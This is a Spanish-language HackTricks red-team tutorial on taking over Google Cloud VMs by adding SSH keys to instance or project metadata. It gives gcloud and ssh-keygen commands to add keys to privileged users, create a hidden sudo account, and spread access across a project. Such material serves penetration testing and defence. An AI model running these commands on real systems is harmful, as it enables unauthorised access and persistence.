GCP - Add Custom SSH Metadata

GCP - Agregar Metadatos SSH Personalizados

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Modificando los metadatos

La modificación de metadatos en una instancia podría llevar a riesgos significativos de seguridad si un atacante obtiene los permisos necesarios.

Incorporación de Claves SSH en Metadatos Personalizados

En GCP, los sistemas Linux a menudo ejecutan scripts desde el Entorno de Invitado de Linux de Python para Google Compute Engine. Un componente crítico de esto es el daemon de cuentas, que está diseñado para verificar regularmente el punto final de metadatos de la instancia en busca de actualizaciones de las claves públicas SSH autorizadas.

Por lo tanto, si un atacante puede modificar metadatos personalizados, podría hacer que el daemon encuentre una nueva clave pública, que será procesada e integrada en el sistema local. La clave se agregará al archivo ~/.ssh/authorized_keys de un usuario existente o potencialmente creando un nuevo usuario con privilegios sudo, dependiendo del formato de la clave. Y el atacante podrá comprometer el host.

Agregar clave SSH a un usuario privilegiado existente

  1. Examinar las Claves SSH Existentes en la Instancia:

  • Ejecuta el comando para describir la instancia y sus metadatos para localizar las claves SSH existentes. La sección relevante en la salida estará bajo metadata, específicamente la clave ssh-keys.

gcloud compute instances describe [INSTANCIA] --zone [ZONA]
  • Presta atención al formato de las claves SSH: el nombre de usuario precede a la clave, separados por dos puntos.

  1. Preparar un Archivo de Texto para los Metadatos de la Clave SSH:

  • Guarda los detalles de los nombres de usuario y sus claves SSH correspondientes en un archivo de texto llamado meta.txt. Esto es esencial para preservar las claves existentes mientras se agregan nuevas.

  1. Generar una Nueva Clave SSH para el Usuario Objetivo (alice en este ejemplo):

  • Utiliza el comando ssh-keygen para generar una nueva clave SSH, asegurándote de que el campo de comentario (-C) coincida con el nombre de usuario objetivo.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Agrega la nueva clave pública a meta.txt, imitando el formato encontrado en los metadatos de la instancia.

  1. Actualizar los Metadatos de la Clave SSH de la Instancia:

  • Aplica los metadatos de la clave SSH actualizados a la instancia utilizando el comando gcloud compute instances add-metadata.

gcloud compute instances add-metadata [INSTANCIA] --metadata-from-file ssh-keys=meta.txt
  1. Acceder a la Instancia Usando la Nueva Clave SSH:

  • Conéctate a la instancia con SSH utilizando la nueva clave, accediendo al shell en el contexto del usuario objetivo (alice en este ejemplo).

ssh -i ./key alice@localhost
sudo id

Crear un nuevo usuario privilegiado y agregar una clave SSH

Si no se encuentra ningún usuario interesante, es posible crear uno nuevo al que se le otorgarán privilegios sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Claves SSH a nivel de proyecto

Es posible ampliar el alcance del acceso SSH a múltiples Máquinas Virtuales (VMs) en un entorno de nube mediante la aplicación de claves SSH a nivel de proyecto. Este enfoque permite el acceso SSH a cualquier instancia dentro del proyecto que no haya bloqueado explícitamente las claves SSH a nivel de proyecto. Aquí tienes una guía resumida:

  1. Aplicar Claves SSH a Nivel de Proyecto:

  • Utiliza el comando gcloud compute project-info add-metadata para agregar claves SSH desde meta.txt a los metadatos del proyecto. Esta acción asegura que las claves SSH sean reconocidas en todas las VMs del proyecto, a menos que una VM tenga habilitada la opción "Bloquear claves SSH a nivel de proyecto".

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. Acceder a las Instancias Utilizando Claves a Nivel de Proyecto:

  • Con las claves SSH a nivel de proyecto en su lugar, puedes acceder por SSH a cualquier instancia dentro del proyecto. Las instancias que no bloquean las claves a nivel de proyecto aceptarán la clave SSH, otorgando acceso.

  • Un método directo para acceder por SSH a una instancia es utilizando el comando gcloud compute ssh [INSTANCIA]. Este comando utiliza tu nombre de usuario actual y las claves SSH establecidas a nivel de proyecto para intentar el acceso.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización